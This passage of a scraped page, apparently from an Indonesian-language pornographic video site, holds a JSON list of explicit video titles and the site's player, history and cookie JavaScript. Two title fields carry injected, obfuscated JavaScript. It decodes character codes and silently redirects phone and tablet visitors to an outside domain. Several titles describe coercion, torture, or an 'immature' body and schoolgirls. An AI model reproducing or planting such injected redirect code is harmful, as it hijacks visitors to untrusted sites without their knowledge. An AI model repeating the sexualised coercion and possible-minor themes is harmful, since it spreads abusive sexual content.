Ruang Kesehatan Tengah Malam EP19 Wanita di Usia Tiga Puluh Seperti Serigala dan Harimau, Kemampuan Seksual Pria Menurun Setelah Usia Paruh Baya. Psikolog Menganalisis Perbedaan Besar dalam Sikap Seksual Pria dan Wanita.","lastmod":"2026-07-11","duration":"16:20","url":"/play/19163976.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDgwMzM0ODdiZjEwMDU3Njc5MTkwOGQ5YzJjYmM5ZmYuanBn.cache","vod_id":18956985,"title":"EMTH-027 Gunakan penis kerasmu untuk menjatuhkannya!! Tante Pijat: Seorang wanita dewasa yang menyediakan terapi pijat di rumah, dilaporkan menderita penindasan seksual dan sudah lama tidak berhubungan seks.","lastmod":"2025-03-22","duration":"04:02:02","url":"/play/18956985.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTNmMjQzYzBkNjllZDk0ODRhZDlhNjZmZGU4NzlkYTAuanBn.cache","vod_id":18930166,"title":"ATID-230_A Lembaga Penelitian Penyiksaan Wanita OUTSIDEBEHINDTHEMASKEPISODE-00 Topeng Tidak Senonoh ~Versi Dubbing Volume 03","lastmod":"2025-12-14","duration":"00:20:00","url":"/play/18930166.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjUvZTVmMzNjMmY4N2U4MDE5MTMxOGYyNGViYWZiNzhhYTAuanBn.cache","vod_id":19030871,"title":"Tidak bisa masturbasi setelah patah tulang, penisku sudah mencapai batasnya! Melihatku seperti ini... Perawat cantik, Aise Ruka, Hazuki Moe, Kitagawa Maho, dan aktris lainnya. DOCP-143-C","lastmod":"2025-04-25","duration":"03:58:11","url":"/play/19030871.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvNDc1ZDk0MTY4MjQ5N2IzMmYwNGNjODNlYWU1MmEyYmEuanBn.cache","vod_id":19164741,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Janda yang Terikat - Seorang istri cantik, patah hati dan kelelahan, menggeliat kegirangan saat diikat dengan tali - 4 Dibintangi: Akari Shinmura, Aya Shiomi, Kurumi Tamaki, dan aktris lainnya Nadeshiko","lastmod":"2026-07-11","duration":"04:01:35","url":"/play/19164741.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTQvMTNmM2QzNDUyODE1Njk2ODIyNThhMzQ2MDgzZjM1ODMuanBn.cache","vod_id":19029132,"title":"Kapal Penumpang Budak Wanita Menikah: Rekor Perjudian yang Tragis. Dibintangi oleh Reiko Sawamura, Shizuka Kanno, Yu Kawakami, Yu Kawakami, Reiko Sawamura, Shizuka Kanno, dan lainnya. JUC-732-C.","lastmod":"2025-04-13","duration":"03:56:00","url":"/play/19029132.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDcvNGM0ZGU1YWU5NDhlYjA0N2ZmMjBjYWVlOTAwYjU0ODAuanBn.cache","vod_id":19051493,"title":"Tak mampu menahan ejakulasi... Si jalang berwajah imut yang melahap pria telah terbangun!! Apakah kamu ingin dirayu olehku selama 300 menit bersama 12 orang? Aktor tak dikenal BDSR531","lastmod":"2025-09-06","duration":"05:04:55","url":"/play/19051493.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTgzNDE4MWViYjg5OGUwNzNiN2I5ZGJmMWY1OGYxZmUuanBn.cache","vod_id":19011407,"title":"Permainan Erotis Sejati Episode 2","lastmod":"2025-03-24","duration":"26:27","url":"/play/19011407.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmJlYTZjNGZiNWE3MzU5MzlhNmMyNWQwOTFlNzk1MGYuanBn.cache","vod_id":18970623,"title":"NHDTB-611 Panti Pijat Lesbian: Merangsang Titik Orgasme Wanita 3 - Godaan Puting dan Penyiksaan Pijatan, Bahkan dengan Perlawanan, Tubuhnya yang Belum Dewasa Mencapai Orgasme Berulang Kali, Spesial Ejakulasi","lastmod":"2025-12-14","duration":"04:02:32","url":"/play/18970623.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODk0NGFjZTRiN2JiZWExYjQ1NzMxNWQwMTEwYTM4YzkuanBn.cache","vod_id":18934815,"title":"HUNTA-502_A: Tinggal bersama kerabat yang kabur? Bermasturbasi dengan seorang wanita di lingkungan yang asing.","lastmod":"2025-03-22","duration":"02:12:51","url":"/play/18934815.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTQvZjVmMDU2NDM3ZGQ4YjhjMGNlNjE2M2U1ZmEwNDMxNjcuanBn.cache","vod_id":19052504,"title":"Mainan seks, wanita mesum, Adachi Yuri, Aizawa Riku NKD324","lastmod":"2025-09-13","duration":"02:06:13","url":"/play/19052504.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWYwYWIwZjgwM2JkNDJiZDI4MGFlOTc1MGQ2ZGQ5YjMuanBn.cache","vod_id":19024189,"title":"Setelah terbuai oleh kata-kata manis, JUQ381C menjadi kecanduan seks dengan wanita yang sudah menikah hingga saya harus mengulang satu tahun kuliah...","lastmod":"2025-03-24","duration":"02:28:44","url":"/play/19024189.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODFlOWQyMTA2MWYwMDRkZjAzMjE1YjgyMjM1NjIzNTQuanBn.cache","vod_id":19027117,"title":"Wanita yang dicuci otak pada kencan buta: Takdir kita bertemu dengan tuan kita. Yuuki Nono, Misono Kazuka, Kobayakawa Reiko SDDE-671-C.","lastmod":"2025-03-30","duration":"02:08:23","url":"/play/19027117.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDQzMjA5MTE3YjZmZmM2ZTNjZGU5ZGI2NjgxM2UxNTcuanBn.cache","vod_id":18941697,"title":"Rahasia Tubuh Wanita n1964 Rei Daily Vulva Games","lastmod":"2025-12-14","duration":"00:12:41","url":"/play/18941697.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MDMvYTYyYzg2NTM3N2M5ZDVkY2UzYWMzODRmYjQ3OTI5MzEuanBn.cache","vod_id":19031914,"title":"MeltyHands, sebuah panti pijat dengan fungsi aromaterapi yang memerlukan antrian. Dibintangi oleh: Hara Miori, Ayase Sakura, Hirosaki Ayaka, dll. AARM-139-C","lastmod":"2025-05-03","duration":"01:56:39","url":"/play/19031914.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjkvNTYwZjk3NjQxNTNiYzZkNjAxNmNmOTRiNTBlOGJhNjkuanBn.cache","vod_id":19055166,"title":"Perselingkuhan di bar: [Ibu rumah tangga mabuk] Rekaman seks sungguhan! 05 Aktris tak dikenal WNSK010","lastmod":"2025-09-28","duration":"04:51:54","url":"/play/19055166.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZTIwOWIzOTg3ZjBkZDY4YmM1NGFiZWYxNWI1OGRmZTQuanBn.cache","vod_id":19161673,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Mendebarkan!? Permainan seru dan menegangkan antar wanita! Jika menang, Anda dapat satu dolar! Ditayangkan di FALENO TUBE","lastmod":"2026-07-11","duration":"02:03:15","url":"/play/19161673.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvMTg2NzJjM2FiNjU5YTI2N2MwYzQ1ZjU1ZTFjMmUxMjYuanBn.cache","vod_id":19065521,"title":"Aku dikhianati oleh aktor favoritku (aktor tampan), dan akhirnya sekamar dengan seorang produser tua... Aku adalah MIKI Hina no EBWH_147","lastmod":"2025-12-14","duration":"01:58:26","url":"/play/19065521.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvYTIzMGZmZjJiN2M1ODRjYmFkNGU0OWMyMWZmMTU1MWEuanBn.cache","vod_id":19067070,"title":"Pasangan Amatir EX: Jika kamu tidak membiarkan pacarmu jatuh, aku akan memberimu hadiah! 2 Aktor Tak Dikenal SROB_027","lastmod":"2025-12-14","duration":"05:19:58","url":"/play/19067070.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDE3OGI1YzllYjQ1MGM5OTdmZWNhNjQwZWFlYTMwZjMuanBn.cache","vod_id":18952471,"title":"BBAN-052 Dunia Lesbian: Sebuah dunia di mana lesbianisme adalah hal yang normal—sebuah dunia di mana hanya perempuan yang ada! Seorang perempuan yang tidak lagi menginginkan anak menjadi kecanduan seks lesbian untuk melepaskan hasrat seksualnya!","lastmod":"2025-03-22","duration":"01:45:03","url":"/play/18952471.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjgvZWFjY2Q2MGI1OGIzNTk5N2RlNDU4YmNiYzkwNzRlZDguanBn.cache","vod_id":19031129,"title":"Menyaksikan gadis-gadis lesbian di sekolah terangsang setelah ditusuk oleh penis, Kanae Ruka, Sakurai Ayumi FSET-544-C","lastmod":"2025-04-28","duration":"02:41:48","url":"/play/19031129.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjg0ZmI5ZGZjMGNkYjY1Y2RmOTU5NGRmYjRkNDA5Y2MuanBn.cache","vod_id":19137115,"title":"Koleksi karya-karya berperingkat tinggi (4,5 atau lebih tinggi)!! Jeritan, seks paksa, deep throat... memuaskan hasrat Anda. Menampilkan aktris seperti Mikako Abe, Rika Aimi, dan Mai Hanakari. REAL-926","lastmod":"2026-01-07","duration":"04:01:08","url":"/play/19137115.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDQvNDk4ZTIxYTQ1YmQyMjllZmYwNzY5YzNjN2Y1ODhlNGUuanBn.cache","vod_id":19055891,"title":"[Perjalanan Kehamilan] #SakuraChan (Aktris tidak dikenal) HONB407","lastmod":"2025-10-03","duration":"43:06","url":"/play/19055891.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTgzMDQ1YmVjNDRlMzIwM2Y4MzEzODc0YjExYzM4YzkuanBn.cache","vod_id":18954233,"title":"Tokyo Hot k1326 Wanita Mangsa - Yuna Manaka","lastmod":"2025-12-14","duration":"00:51:35","url":"/play/18954233.html"}]},
videoTitle: 'Pemikiran Sejati Para Wanita Populer vol.01 Dibintangi Rika Takanashi, Riho Shishido, Haruhi Hanano, dll. MGTD-051',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}